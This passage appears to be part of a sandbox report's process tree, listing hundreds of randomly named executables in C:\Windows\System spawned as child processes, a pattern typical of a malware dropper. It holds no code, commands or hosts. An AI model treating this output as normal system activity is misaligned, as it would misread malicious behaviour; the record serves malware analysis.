  C:\Windows\System\FfjdDxH.exe
  2⤵
  PID:12600
- C:\Windows\System\BPAlOcM.exe
  C:\Windows\System\BPAlOcM.exe
  2⤵
  PID:12624
- C:\Windows\System\ZAGqJYM.exe
  C:\Windows\System\ZAGqJYM.exe
  2⤵
  PID:12648
- C:\Windows\System\nldyPxu.exe
  C:\Windows\System\nldyPxu.exe
  2⤵
  PID:12672
- C:\Windows\System\beQCOFt.exe
  C:\Windows\System\beQCOFt.exe
  2⤵
  PID:12692
- C:\Windows\System\UEEklKF.exe
  C:\Windows\System\UEEklKF.exe
  2⤵
  PID:12716
- C:\Windows\System\PgzqkME.exe
  C:\Windows\System\PgzqkME.exe
  2⤵
  PID:12740
- C:\Windows\System\NRykgdo.exe
  C:\Windows\System\NRykgdo.exe
  2⤵
  PID:12760
- C:\Windows\System\HabORUU.exe
  C:\Windows\System\HabORUU.exe
  2⤵
  PID:12784
- C:\Windows\System\eswZxAt.exe
  C:\Windows\System\eswZxAt.exe
  2⤵
  PID:12808
- C:\Windows\System\MHqAFmU.exe
  C:\Windows\System\MHqAFmU.exe
  2⤵
  PID:12832
- C:\Windows\System\xThzOBR.exe
  C:\Windows\System\xThzOBR.exe
  2⤵
  PID:12856
- C:\Windows\System\mwkJUpc.exe
  C:\Windows\System\mwkJUpc.exe
  2⤵
  PID:12880
- C:\Windows\System\jzDFyyw.exe
  C:\Windows\System\jzDFyyw.exe
  2⤵
  PID:12908
- C:\Windows\System\EPFHvpD.exe
  C:\Windows\System\EPFHvpD.exe
  2⤵
  PID:12928
- C:\Windows\System\AUhpLGK.exe
  C:\Windows\System\AUhpLGK.exe
  2⤵
  PID:12952
- C:\Windows\System\oBSkajf.exe
  C:\Windows\System\oBSkajf.exe
  2⤵
  PID:12976
- C:\Windows\System\gbsqKwg.exe
  C:\Windows\System\gbsqKwg.exe
  2⤵
  PID:13188
- C:\Windows\System\KnlTOpp.exe
  C:\Windows\System\KnlTOpp.exe
  2⤵
  PID:13204
- C:\Windows\System\dVbLaQb.exe
  C:\Windows\System\dVbLaQb.exe
  2⤵
  PID:13220
- C:\Windows\System\ShuhNQq.exe
  C:\Windows\System\ShuhNQq.exe
  2⤵
  PID:13236
- C:\Windows\System\TIeotIn.exe
  C:\Windows\System\TIeotIn.exe
  2⤵
  PID:13264
- C:\Windows\System\IcbxvdI.exe
  C:\Windows\System\IcbxvdI.exe
  2⤵
  PID:13280
- C:\Windows\System\qbYdWTO.exe
  C:\Windows\System\qbYdWTO.exe
  2⤵
  PID:12064
- C:\Windows\System\lSJeFms.exe
  C:\Windows\System\lSJeFms.exe
  2⤵
  PID:12092
- C:\Windows\System\DVlXjoE.exe
  C:\Windows\System\DVlXjoE.exe
  2⤵
  PID:11104
- C:\Windows\System\lwiCsjy.exe
  C:\Windows\System\lwiCsjy.exe
  2⤵
  PID:11292
- C:\Windows\System\nboWBii.exe
  C:\Windows\System\nboWBii.exe
  2⤵
  PID:12208
- C:\Windows\System\QInAFsK.exe
  C:\Windows\System\QInAFsK.exe
  2⤵
  PID:3224
- C:\Windows\System\OlzYkCU.exe
  C:\Windows\System\OlzYkCU.exe
  2⤵
  PID:11584
- C:\Windows\System\hWTYyvr.exe
  C:\Windows\System\hWTYyvr.exe
  2⤵
  PID:11640
- C:\Windows\System\TqxXcpX.exe
  C:\Windows\System\TqxXcpX.exe
  2⤵
  PID:10508
- C:\Windows\System\zQzJJzp.exe
  C:\Windows\System\zQzJJzp.exe
  2⤵
  PID:12020
- C:\Windows\System\YomgGPZ.exe
  C:\Windows\System\YomgGPZ.exe
  2⤵
  PID:12848
- C:\Windows\System\wrvqYuW.exe
  C:\Windows\System\wrvqYuW.exe
  2⤵
  PID:12900
- C:\Windows\System\iNLkMdV.exe
  C:\Windows\System\iNLkMdV.exe
  2⤵
  PID:12428
- C:\Windows\System\xVxzhQw.exe
  C:\Windows\System\xVxzhQw.exe
  2⤵
  PID:13096
- C:\Windows\System\SnaqVlX.exe
  C:\Windows\System\SnaqVlX.exe
  2⤵
  PID:13200
- C:\Windows\System\smzNoBO.exe
  C:\Windows\System\smzNoBO.exe
  2⤵
  PID:12940
- C:\Windows\System\ePAiIBI.exe
  C:\Windows\System\ePAiIBI.exe
  2⤵
  PID:11752
- C:\Windows\System\RICpVly.exe
  C:\Windows\System\RICpVly.exe
  2⤵
  PID:12568
- C:\Windows\System\GwzUrDD.exe
  C:\Windows\System\GwzUrDD.exe
  2⤵
  PID:12540
- C:\Windows\System\kuUEXbz.exe
  C:\Windows\System\kuUEXbz.exe
  2⤵
  PID:4504
- C:\Windows\System\vgsOqRJ.exe
  C:\Windows\System\vgsOqRJ.exe
  2⤵
  PID:12448
- C:\Windows\System\ZwzmKwe.exe
  C:\Windows\System\ZwzmKwe.exe
  2⤵
  PID:10616
- C:\Windows\System\Tknyoqz.exe
  C:\Windows\System\Tknyoqz.exe
  2⤵
  PID:12068
- C:\Windows\System\xqokXzb.exe
  C:\Windows\System\xqokXzb.exe
  2⤵
  PID:13084
- C:\Windows\System\YMVQiOH.exe
  C:\Windows\System\YMVQiOH.exe
  2⤵
  PID:11860
- C:\Windows\System\aaEAmCy.exe
  C:\Windows\System\aaEAmCy.exe
  2⤵
  PID:5316
- C:\Windows\System\BKIMPdD.exe
  C:\Windows\System\BKIMPdD.exe
  2⤵
  PID:5296
- C:\Windows\System\FDHVqcd.exe
  C:\Windows\System\FDHVqcd.exe
  2⤵
  PID:12088
- C:\Windows\System\YkbhsHG.exe
  C:\Windows\System\YkbhsHG.exe
  2⤵
  PID:13252
- C:\Windows\System\Ytwsgim.exe
  C:\Windows\System\Ytwsgim.exe
  2⤵
  PID:9976
- C:\Windows\System\GLdAYHw.exe
  C:\Windows\System\GLdAYHw.exe
  2⤵
  PID:13292
- C:\Windows\System\sKZdweN.exe
  C:\Windows\System\sKZdweN.exe
  2⤵
  PID:12524
- C:\Windows\System\laZoblm.exe
  C:\Windows\System\laZoblm.exe
  2⤵
  PID:10820
- C:\Windows\System\PkKRusK.exe
  C:\Windows\System\PkKRusK.exe
  2⤵
  PID:11492
- C:\Windows\System\HmOFJXf.exe
  C:\Windows\System\HmOFJXf.exe
  2⤵
  PID:12896
- C:\Windows\System\BGVFktw.exe
  C:\Windows\System\BGVFktw.exe
  2⤵
  PID:11744
- C:\Windows\System\dGkncsp.exe
  C:\Windows\System\dGkncsp.exe
  2⤵
  PID:10684
- C:\Windows\System\sryeKJz.exe
  C:\Windows\System\sryeKJz.exe
  2⤵
  PID:12196
- C:\Windows\System\fmeOKIv.exe
  C:\Windows\System\fmeOKIv.exe
  2⤵
  PID:12044
- C:\Windows\System\ZsZUbhn.exe
  C:\Windows\System\ZsZUbhn.exe
  2⤵
  PID:10800
- C:\Windows\System\HvaMpPR.exe
  C:\Windows\System\HvaMpPR.exe
  2⤵
  PID:736
- C:\Windows\System\qXOweWK.exe
  C:\Windows\System\qXOweWK.exe
  2⤵
  PID:11404
- C:\Windows\System\vxKdNCq.exe
  C:\Windows\System\vxKdNCq.exe
  2⤵
  PID:3576
- C:\Windows\System\zmmbWOT.exe
  C:\Windows\System\zmmbWOT.exe
  2⤵
  PID:12496
- C:\Windows\System\qGxvsFg.exe
  C:\Windows\System\qGxvsFg.exe
  2⤵
  PID:3556
- C:\Windows\System\WxqgTXM.exe
  C:\Windows\System\WxqgTXM.exe
  2⤵
  PID:12780
- C:\Windows\System\ChuufkF.exe
  C:\Windows\System\ChuufkF.exe
  2⤵
  PID:11512
- C:\Windows\System\eJjQuLJ.exe
  C:\Windows\System\eJjQuLJ.exe
  2⤵
  PID:4808
- C:\Windows\System\Ymguttl.exe
  C:\Windows\System\Ymguttl.exe
  2⤵
  PID:13288
- C:\Windows\System\NRitmcl.exe
  C:\Windows\System\NRitmcl.exe
  2⤵
  PID:12844
- C:\Windows\System\goazgSb.exe
  C:\Windows\System\goazgSb.exe
  2⤵
  PID:12704
- C:\Windows\System\uTSZixA.exe
  C:\Windows\System\uTSZixA.exe
  2⤵
  PID:11360
- C:\Windows\System\DHGOLIN.exe
  C:\Windows\System\DHGOLIN.exe
  2⤵
  PID:9464
- C:\Windows\System\FuAAEEy.exe
  C:\Windows\System\FuAAEEy.exe
  2⤵
  PID:3492
- C:\Windows\System\hHqIpLq.exe
  C:\Windows\System\hHqIpLq.exe
  2⤵
  PID:12012
- C:\Windows\System\pCUWZrH.exe
  C:\Windows\System\pCUWZrH.exe
  2⤵
  PID:12972
- C:\Windows\System\IoZJLSs.exe
  C:\Windows\System\IoZJLSs.exe
  2⤵
  PID:11692
- C:\Windows\System\tDApYAI.exe
  C:\Windows\System\tDApYAI.exe
  2⤵
  PID:6412
- C:\Windows\System\ymxXpac.exe
  C:\Windows\System\ymxXpac.exe
  2⤵
  PID:10376
- C:\Windows\System\ACKrEGu.exe
  C:\Windows\System\ACKrEGu.exe
  2⤵
  PID:13160
- C:\Windows\System\KpYnDTk.exe
  C:\Windows\System\KpYnDTk.exe
  2⤵
  PID:9568
- C:\Windows\System\LMnsviM.exe
  C:\Windows\System\LMnsviM.exe
  2⤵
  PID:4292
- C:\Windows\System\QyuipnJ.exe
  C:\Windows\System\QyuipnJ.exe
  2⤵
  PID:4324
- C:\Windows\System\eXBsQrJ.exe
  C:\Windows\System\eXBsQrJ.exe
  2⤵
  PID:13180
- C:\Windows\System\ZPyaQYe.exe
  C:\Windows\System\ZPyaQYe.exe
  2⤵
  PID:4496
- C:\Windows\System\EwHouOA.exe
  C:\Windows\System\EwHouOA.exe
  2⤵
  PID:11628
- C:\Windows\System\MDREVYs.exe
  C:\Windows\System\MDREVYs.exe
  2⤵
  PID:3028
- C:\Windows\System\DbeIuYc.exe
  C:\Windows\System\DbeIuYc.exe
  2⤵
  PID:11268
- C:\Windows\System\lExoziZ.exe
  C:\Windows\System\lExoziZ.exe
  2⤵
  PID:12944
- C:\Windows\System\LQVeKSj.exe
  C:\Windows\System\LQVeKSj.exe
  2⤵
  PID:11316
- C:\Windows\System\QSeWoIi.exe
  C:\Windows\System\QSeWoIi.exe
  2⤵
  PID:12736
- C:\Windows\System\HtFBLZT.exe
  C:\Windows\System\HtFBLZT.exe
  2⤵
  PID:3884
- C:\Windows\System\YmYTQnl.exe
  C:\Windows\System\YmYTQnl.exe
  2⤵
  PID:2784
- C:\Windows\System\CAUExNW.exe
  C:\Windows\System\CAUExNW.exe
  2⤵
  PID:4612
- C:\Windows\System\oAWoKbZ.exe
  C:\Windows\System\oAWoKbZ.exe
  2⤵
  PID:1060
- C:\Windows\System\ZDBuyJl.exe
  C:\Windows\System\ZDBuyJl.exe
  2⤵
  PID:1056
- C:\Windows\System\TAItQyB.exe
  C:\Windows\System\TAItQyB.exe
  2⤵
  PID:9400
- C:\Windows\System\dCEHrHj.exe
  C:\Windows\System\dCEHrHj.exe
  2⤵
  PID:7280
- C:\Windows\System\wNlTIKc.exe
  C:\Windows\System\wNlTIKc.exe
  2⤵
  PID:3136
- C:\Windows\System\RgAgkdi.exe
  C:\Windows\System\RgAgkdi.exe
  2⤵
  PID:10720
- C:\Windows\System\rjOgNOb.exe
  C:\Windows\System\rjOgNOb.exe
  2⤵
  PID:11852
- C:\Windows\System\QjsNgpb.exe
  C:\Windows\System\QjsNgpb.exe
  2⤵
  PID:2360
- C:\Windows\System\CiyxXFU.exe
  C:\Windows\System\CiyxXFU.exe
  2⤵
  PID:11660
- C:\Windows\System\YOCDVuk.exe
  C:\Windows\System\YOCDVuk.exe
  2⤵
  PID:11840
- C:\Windows\System\VAmTSgB.exe
  C:\Windows\System\VAmTSgB.exe
  2⤵
  PID:10704
- C:\Windows\System\MFBGSAc.exe
  C:\Windows\System\MFBGSAc.exe
  2⤵
  PID:3872
- C:\Windows\System\MKbAVWF.exe
  C:\Windows\System\MKbAVWF.exe
  2⤵
  PID:9384
- C:\Windows\System\CaWnAqv.exe
  C:\Windows\System\CaWnAqv.exe
  2⤵
  PID:13316
- C:\Windows\System\JDUASAK.exe
  C:\Windows\System\JDUASAK.exe
  2⤵
  PID:13332
- C:\Windows\System\yJjLdMh.exe
  C:\Windows\System\yJjLdMh.exe
  2⤵
  PID:13348
- C:\Windows\System\PHOBOYF.exe
  C:\Windows\System\PHOBOYF.exe
  2⤵
  PID:13364
- C:\Windows\System\tlpcdUA.exe
  C:\Windows\System\tlpcdUA.exe
  2⤵
  PID:13380
- C:\Windows\System\lCnKBqB.exe
  C:\Windows\System\lCnKBqB.exe
  2⤵
  PID:13396
- C:\Windows\System\NaCChvK.exe
  C:\Windows\System\NaCChvK.exe
  2⤵
  PID:13412
- C:\Windows\System\JcyoXCg.exe
  C:\Windows\System\JcyoXCg.exe
  2⤵
  PID:13428
- C:\Windows\System\YnwgZFm.exe
  C:\Windows\System\YnwgZFm.exe
  2⤵
  PID:13452
- C:\Windows\System\dgXwiAv.exe
  C:\Windows\System\dgXwiAv.exe
  2⤵
  PID:13468
- C:\Windows\System\cKfscRi.exe
  C:\Windows\System\cKfscRi.exe
  2⤵
  PID:13484
- C:\Windows\System\vCuGcJM.exe
  C:\Windows\System\vCuGcJM.exe
  2⤵
  PID:13500
- C:\Windows\System\ekBilym.exe
  C:\Windows\System\ekBilym.exe
  2⤵
  PID:13516
- C:\Windows\System\xNOpLWc.exe
  C:\Windows\System\xNOpLWc.exe
  2⤵
  PID:13540
- C:\Windows\System\odynqnM.exe
  C:\Windows\System\odynqnM.exe
  2⤵
  PID:13564
- C:\Windows\System\pScgeRX.exe
  C:\Windows\System\pScgeRX.exe
  2⤵
  PID:13580
- C:\Windows\System\IKhEeBw.exe
  C:\Windows\System\IKhEeBw.exe
  2⤵
  PID:13596
- C:\Windows\System\cuuRjDa.exe
  C:\Windows\System\cuuRjDa.exe
  2⤵
  PID:13612
- C:\Windows\System\NFBBvvP.exe
  C:\Windows\System\NFBBvvP.exe
  2⤵
  PID:13628
- C:\Windows\System\pTMyJJx.exe
  C:\Windows\System\pTMyJJx.exe
  2⤵
  PID:13644
- C:\Windows\System\jpJOhDh.exe
  C:\Windows\System\jpJOhDh.exe
  2⤵
  PID:13660
- C:\Windows\System\TKsjgOw.exe
  C:\Windows\System\TKsjgOw.exe
  2⤵
  PID:13676
- C:\Windows\System\UmBRjxa.exe
  C:\Windows\System\UmBRjxa.exe
  2⤵
  PID:13704
- C:\Windows\System\clgYySI.exe
  C:\Windows\System\clgYySI.exe
  2⤵
  PID:13720
- C:\Windows\System\wTyOIpo.exe
  C:\Windows\System\wTyOIpo.exe
  2⤵
  PID:13736
- C:\Windows\System\uaLGyie.exe
  C:\Windows\System\uaLGyie.exe
  2⤵
  PID:13752
- C:\Windows\System\XVMvaUn.exe
  C:\Windows\System\XVMvaUn.exe
  2⤵
  PID:13768
- C:\Windows\System\DTksJSa.exe
  C:\Windows\System\DTksJSa.exe
  2⤵
  PID:13796
- C:\Windows\System\GgzTyEy.exe
  C:\Windows\System\GgzTyEy.exe
  2⤵
  PID:13812
- C:\Windows\System\mQPMKmD.exe
  C:\Windows\System\mQPMKmD.exe
  2⤵
  PID:13828
- C:\Windows\System\xycSuEg.exe
  C:\Windows\System\xycSuEg.exe
  2⤵
  PID:13844
- C:\Windows\System\ftqRhoF.exe
  C:\Windows\System\ftqRhoF.exe
  2⤵
  PID:13860
- C:\Windows\System\wfglLJI.exe
  C:\Windows\System\wfglLJI.exe
  2⤵
  PID:13876
- C:\Windows\System\kovviZC.exe
  C:\Windows\System\kovviZC.exe
  2⤵
  PID:13892
- C:\Windows\System\jWqtNNl.exe
  C:\Windows\System\jWqtNNl.exe
  2⤵
  PID:13908
- C:\Windows\System\StxGZVs.exe
  C:\Windows\System\StxGZVs.exe
  2⤵
  PID:13924
- C:\Windows\System\qzTRHhw.exe
  C:\Windows\System\qzTRHhw.exe
  2⤵
  PID:13940
- C:\Windows\System\RUCIRZK.exe
  C:\Windows\System\RUCIRZK.exe
  2⤵
  PID:13956
- C:\Windows\System\PTZAFNp.exe
  C:\Windows\System\PTZAFNp.exe
  2⤵
  PID:13972
- C:\Windows\System\BLNhlMh.exe
  C:\Windows\System\BLNhlMh.exe
  2⤵
  PID:13988
- C:\Windows\System\ameBoIK.exe
  C:\Windows\System\ameBoIK.exe
  2⤵
  PID:14004
- C:\Windows\System\hkTaopP.exe
  C:\Windows\System\hkTaopP.exe
  2⤵
  PID:14020
- C:\Windows\System\aCWmpiX.exe
  C:\Windows\System\aCWmpiX.exe
  2⤵
  PID:14036
- C:\Windows\System\UpVOqtl.exe
  C:\Windows\System\UpVOqtl.exe
  2⤵
  PID:14052
- C:\Windows\System\vUFxOAa.exe
  C:\Windows\System\vUFxOAa.exe
  2⤵
  PID:14080
- C:\Windows\System\BLutbcH.exe
  C:\Windows\System\BLutbcH.exe
  2⤵
  PID:14096
- C:\Windows\System\AvnMtVH.exe
  C:\Windows\System\AvnMtVH.exe
  2⤵
  PID:14112
- C:\Windows\System\AAVCyyE.exe
  C:\Windows\System\AAVCyyE.exe
  2⤵
  PID:14128
- C:\Windows\System\fDyhngj.exe
  C:\Windows\System\fDyhngj.exe
  2⤵
  PID:14144
- C:\Windows\System\xGJPxSK.exe
  C:\Windows\System\xGJPxSK.exe
  2⤵
  PID:14160
- C:\Windows\System\XsUwrjt.exe
  C:\Windows\System\XsUwrjt.exe
  2⤵
  PID:14176
- C:\Windows\System\PXprvjg.exe
  C:\Windows\System\PXprvjg.exe
  2⤵
  PID:14192
- C:\Windows\System\knntybz.exe
  C:\Windows\System\knntybz.exe
  2⤵
  PID:14208
- C:\Windows\System\GXxBzHu.exe
  C:\Windows\System\GXxBzHu.exe
  2⤵
  PID:14224
- C:\Windows\System\tqfrpKr.exe
  C:\Windows\System\tqfrpKr.exe
  2⤵
  PID:14240
- C:\Windows\System\WolGeux.exe
  C:\Windows\System\WolGeux.exe
  2⤵
  PID:14256
- C:\Windows\System\yPhDqhw.exe
  C:\Windows\System\yPhDqhw.exe
  2⤵
  PID:14272
- C:\Windows\System\eUknoBe.exe
  C:\Windows\System\eUknoBe.exe
  2⤵
  PID:14288
- C:\Windows\System\okwYJes.exe
  C:\Windows\System\okwYJes.exe
  2⤵
  PID:14304
- C:\Windows\System\ktsyDoH.exe
  C:\Windows\System\ktsyDoH.exe
  2⤵
  PID:14320
- C:\Windows\System\HeLFkMV.exe
  C:\Windows\System\HeLFkMV.exe
  2⤵
  PID:2024
- C:\Windows\System\xWVyFAS.exe
  C:\Windows\System\xWVyFAS.exe
  2⤵
  PID:3360
- C:\Windows\System\vugbYGW.exe
  C:\Windows\System\vugbYGW.exe
  2⤵
  PID:13036
- C:\Windows\System\BjTQCwo.exe
  C:\Windows\System\BjTQCwo.exe
  2⤵
  PID:5096
- C:\Windows\System\eVdjORp.exe
  C:\Windows\System\eVdjORp.exe
  2⤵
  PID:9416
- C:\Windows\System\UbermGX.exe
  C:\Windows\System\UbermGX.exe
  2⤵
  PID:11424
- C:\Windows\System\ALDicSM.exe
  C:\Windows\System\ALDicSM.exe
  2⤵
  PID:11508
- C:\Windows\System\enPwEAv.exe
  C:\Windows\System\enPwEAv.exe
  2⤵
  PID:13324
- C:\Windows\System\QeGGeeR.exe
  C:\Windows\System\QeGGeeR.exe
  2⤵
  PID:13356
- C:\Windows\System\uTKSKQr.exe
  C:\Windows\System\uTKSKQr.exe
  2⤵
  PID:13388
- C:\Windows\System\iDnshQU.exe
  C:\Windows\System\iDnshQU.exe
  2⤵
  PID:11796
- C:\Windows\System\qObVEYX.exe
  C:\Windows\System\qObVEYX.exe
  2⤵
  PID:13464
- C:\Windows\System\VgUDPRT.exe
  C:\Windows\System\VgUDPRT.exe
  2⤵
  PID:13508
- C:\Windows\System\gFNfqZe.exe
  C:\Windows\System\gFNfqZe.exe
  2⤵
  PID:13556
- C:\Windows\System\bOHWdNf.exe
  C:\Windows\System\bOHWdNf.exe
  2⤵
  PID:13588
- C:\Windows\System\NgjMuWf.exe
  C:\Windows\System\NgjMuWf.exe
  2⤵
  PID:13620
- C:\Windows\System\tpXMGbg.exe
  C:\Windows\System\tpXMGbg.exe
  2⤵
  PID:13652
- C:\Windows\System\ZhizDNO.exe
  C:\Windows\System\ZhizDNO.exe
  2⤵
  PID:13688
- C:\Windows\System\ksuiUnq.exe
  C:\Windows\System\ksuiUnq.exe
  2⤵
  PID:13728
- C:\Windows\System\nTzXgaK.exe
  C:\Windows\System\nTzXgaK.exe
  2⤵
  PID:13760
- C:\Windows\System\EnLoaJi.exe
  C:\Windows\System\EnLoaJi.exe
  2⤵
  PID:13804
- C:\Windows\System\CYXPrZX.exe
  C:\Windows\System\CYXPrZX.exe
  2⤵
  PID:13836
- C:\Windows\System\KasKVXw.exe
  C:\Windows\System\KasKVXw.exe
  2⤵
  PID:13868
- C:\Windows\System\Jrbfcwg.exe
  C:\Windows\System\Jrbfcwg.exe
  2⤵
  PID:13900
- C:\Windows\System\tIvMYZo.exe
  C:\Windows\System\tIvMYZo.exe
  2⤵
  PID:13936
- C:\Windows\System\YfBWtii.exe
  C:\Windows\System\YfBWtii.exe
  2⤵
  PID:14016
- C:\Windows\System\AoUPiXb.exe
  C:\Windows\System\AoUPiXb.exe
  2⤵
  PID:14076
- C:\Windows\System\KwSAgIQ.exe
  C:\Windows\System\KwSAgIQ.exe
  2⤵
  PID:14124
- C:\Windows\System\LbeLvnz.exe
  C:\Windows\System\LbeLvnz.exe
  2⤵
  PID:14156
- C:\Windows\System\XnqRgHb.exe
  C:\Windows\System\XnqRgHb.exe
  2⤵
  PID:14188
- C:\Windows\System\RwpdVlt.exe
  C:\Windows\System\RwpdVlt.exe
  2⤵
  PID:14216
- C:\Windows\System\cNiYVHj.exe
  C:\Windows\System\cNiYVHj.exe
  2⤵
  PID:14248
- C:\Windows\System\EofmyLK.exe
  C:\Windows\System\EofmyLK.exe
  2⤵
  PID:14284
- C:\Windows\System\xDdICmv.exe
  C:\Windows\System\xDdICmv.exe
  2⤵
  PID:14312
- C:\Windows\System\bqhbsbd.exe
  C:\Windows\System\bqhbsbd.exe
  2⤵
  PID:924
- C:\Windows\System\mwOhxuy.exe
  C:\Windows\System\mwOhxuy.exe
  2⤵
  PID:1380
- C:\Windows\System\CdMwCAo.exe
  C:\Windows\System\CdMwCAo.exe
  2⤵
  PID:12268
- C:\Windows\System\YBgHnNs.exe
  C:\Windows\System\YBgHnNs.exe
  2⤵
  PID:3432
- C:\Windows\System\NUoWNNL.exe
  C:\Windows\System\NUoWNNL.exe
  2⤵
  PID:13328
- C:\Windows\System\uTyfIsu.exe
  C:\Windows\System\uTyfIsu.exe
  2⤵
  PID:13404
- C:\Windows\System\IOIqGqr.exe
  C:\Windows\System\IOIqGqr.exe
  2⤵
  PID:13492
- C:\Windows\System\YjxIFSh.exe
  C:\Windows\System\YjxIFSh.exe
  2⤵
  PID:13572
- C:\Windows\System\lFQYalb.exe
  C:\Windows\System\lFQYalb.exe
  2⤵
  PID:13640
- C:\Windows\System\SRRbfcU.exe
  C:\Windows\System\SRRbfcU.exe
  2⤵
  PID:13712
- C:\Windows\System\MwRarDg.exe
  C:\Windows\System\MwRarDg.exe
  2⤵
  PID:13792
- C:\Windows\System\GfuBMCx.exe
  C:\Windows\System\GfuBMCx.exe
  2⤵
  PID:13856
- C:\Windows\System\ceZfxmh.exe
  C:\Windows\System\ceZfxmh.exe
  2⤵
  PID:13996
- C:\Windows\System\ZzzszSG.exe
  C:\Windows\System\ZzzszSG.exe
  2⤵
  PID:14088
- C:\Windows\System\WxOvMfL.exe
  C:\Windows\System\WxOvMfL.exe
  2⤵
  PID:14152
- C:\Windows\System\dPgMYgw.exe
  C:\Windows\System\dPgMYgw.exe
  2⤵
  PID:14236
- C:\Windows\System\TiLXUZo.exe
  C:\Windows\System\TiLXUZo.exe
  2⤵
  PID:2984
- C:\Windows\System\zQFomqF.exe
  C:\Windows\System\zQFomqF.exe
  2⤵
  PID:11952
- C:\Windows\System\ijtKHhD.exe
  C:\Windows\System\ijtKHhD.exe
  2⤵
  PID:13480
- C:\Windows\System\sSmbzDj.exe
  C:\Windows\System\sSmbzDj.exe
  2⤵
  PID:13636
- C:\Windows\System\HKAeqNF.exe
  C:\Windows\System\HKAeqNF.exe
  2⤵
  PID:13748
- C:\Windows\System\cwbaocP.exe
  C:\Windows\System\cwbaocP.exe
  2⤵
  PID:13780
- C:\Windows\System\cwFiwBw.exe
  C:\Windows\System\cwFiwBw.exe
  2⤵
  PID:13852
- C:\Windows\System\GJVuHNr.exe
  C:\Windows\System\GJVuHNr.exe
  2⤵
  PID:14168
- C:\Windows\System\bpRlHbT.exe
  C:\Windows\System\bpRlHbT.exe
  2⤵
  PID:3472
- C:\Windows\System\zbHXnBX.exe
  C:\Windows\System\zbHXnBX.exe
  2⤵
  PID:13744
- C:\Windows\System\EOViuCC.exe
  C:\Windows\System\EOViuCC.exe
  2⤵
  PID:13696
- C:\Windows\System\jyVsezr.exe
  C:\Windows\System\jyVsezr.exe
  2⤵
  PID:14744
- C:\Windows\System\SaUOHui.exe
  C:\Windows\System\SaUOHui.exe
  2⤵
  PID:14764
- C:\Windows\System\cYZflMx.exe
  C:\Windows\System\cYZflMx.exe
  2⤵
  PID:15176
- C:\Windows\System\kZKlRWP.exe
  C:\Windows\System\kZKlRWP.exe
  2⤵
  PID:14808
- C:\Windows\System\uVXkULW.exe
  C:\Windows\System\uVXkULW.exe
  2⤵
  PID:2372
- C:\Windows\System\MPyOOjG.exe
  C:\Windows\System\MPyOOjG.exe
  2⤵
  PID:14544
- C:\Windows\System\gAoASzA.exe
  C:\Windows\System\gAoASzA.exe
  2⤵
  PID:14584
- C:\Windows\System\zLtOCmX.exe
  C:\Windows\System\zLtOCmX.exe
  2⤵
  PID:14616
- C:\Windows\System\bDnrJUH.exe
  C:\Windows\System\bDnrJUH.exe
  2⤵
  PID:14640
- C:\Windows\System\EEZmzMd.exe
  C:\Windows\System\EEZmzMd.exe
  2⤵
  PID:14656
- C:\Windows\System\NnKJvzM.exe
  C:\Windows\System\NnKJvzM.exe
  2⤵
  PID:14672
- C:\Windows\System\cHGYYJX.exe
  C:\Windows\System\cHGYYJX.exe
  2⤵
  PID:14684
- C:\Windows\System\eYXXzEl.exe
  C:\Windows\System\eYXXzEl.exe
  2⤵
  PID:14712
- C:\Windows\System\TMIIPvP.exe
  C:\Windows\System\TMIIPvP.exe
  2⤵
  PID:14748
- C:\Windows\System\ymplsnV.exe
  C:\Windows\System\ymplsnV.exe
  2⤵
  PID:14780
- C:\Windows\System\YFFCUDl.exe
  C:\Windows\System\YFFCUDl.exe
  2⤵
  PID:14816
- C:\Windows\System\meIVdoq.exe
  C:\Windows\System\meIVdoq.exe
  2⤵
  PID:14848
- C:\Windows\System\UffaBtj.exe
  C:\Windows\System\UffaBtj.exe
  2⤵
  PID:14864
- C:\Windows\System\QQAKcgO.exe
  C:\Windows\System\QQAKcgO.exe
  2⤵
  PID:14888
- C:\Windows\System\eAZtKIm.exe
  C:\Windows\System\eAZtKIm.exe
  2⤵
  PID:14916
- C:\Windows\System\kXdYHuc.exe
  C:\Windows\System\kXdYHuc.exe
  2⤵
  PID:14952
- C:\Windows\System\UmcoYiN.exe
  C:\Windows\System\UmcoYiN.exe
  2⤵
  PID:6716
- C:\Windows\System\OTByyMC.exe
  C:\Windows\System\OTByyMC.exe
  2⤵
  PID:13916
- C:\Windows\System\NDMzEAO.exe
  C:\Windows\System\NDMzEAO.exe
  2⤵
  PID:4752
- C:\Windows\System\qBWLHnG.exe
  C:\Windows\System\qBWLHnG.exe
  2⤵
  PID:15068
- C:\Windows\System\wowJmUa.exe
  C:\Windows\System\wowJmUa.exe
  2⤵
  PID:15084
- C:\Windows\System\CMqVQZK.exe
  C:\Windows\System\CMqVQZK.exe
  2⤵
  PID:15100
- C:\Windows\System\yiEGEqL.exe
  C:\Windows\System\yiEGEqL.exe
  2⤵
  PID:15136
- C:\Windows\System\cLiKFTY.exe
  C:\Windows\System\cLiKFTY.exe
  2⤵
  PID:15172
- C:\Windows\System\vGqKdQJ.exe
  C:\Windows\System\vGqKdQJ.exe
  2⤵
  PID:15252
- C:\Windows\System\NSgDFMp.exe
  C:\Windows\System\NSgDFMp.exe
  2⤵
  PID:15268
- C:\Windows\System\VcFVOXI.exe
  C:\Windows\System\VcFVOXI.exe
  2⤵
  PID:9372
- C:\Windows\System\wOZPErM.exe
  C:\Windows\System\wOZPErM.exe
  2⤵
  PID:15292
- C:\Windows\System\mPJAUgq.exe
  C:\Windows\System\mPJAUgq.exe
  2⤵
  PID:15308
- C:\Windows\System\jyCCAgj.exe
  C:\Windows\System\jyCCAgj.exe
  2⤵
  PID:15324
- C:\Windows\System\nQUlgqr.exe
  C:\Windows\System\nQUlgqr.exe
  2⤵
  PID:15340
- C:\Windows\System\CPkkMrw.exe
  C:\Windows\System\CPkkMrw.exe
  2⤵
  PID:15356
- C:\Windows\System\xgnbrMq.exe
  C:\Windows\System\xgnbrMq.exe
  2⤵
  PID:13608
- C:\Windows\System\zTSxQBj.exe
  C:\Windows\System\zTSxQBj.exe
  2⤵
  PID:14340
- C:\Windows\System\NTGyeCU.exe
  C:\Windows\System\NTGyeCU.exe
  2⤵
  PID:14356
- C:\Windows\System\zhouxxW.exe
  C:\Windows\System\zhouxxW.exe
  2⤵
  PID:3420
- C:\Windows\System\VHwuUDc.exe
  C:\Windows\System\VHwuUDc.exe
  2⤵
  PID:3384
- C:\Windows\System\KASJQyI.exe
  C:\Windows\System\KASJQyI.exe
  2⤵
  PID:14368
- C:\Windows\System\aJPyaaa.exe
  C:\Windows\System\aJPyaaa.exe
  2⤵
  PID:14396
- C:\Windows\System\GOYVoRS.exe
  C:\Windows\System\GOYVoRS.exe
  2⤵
  PID:14424
- C:\Windows\System\opAZDwL.exe
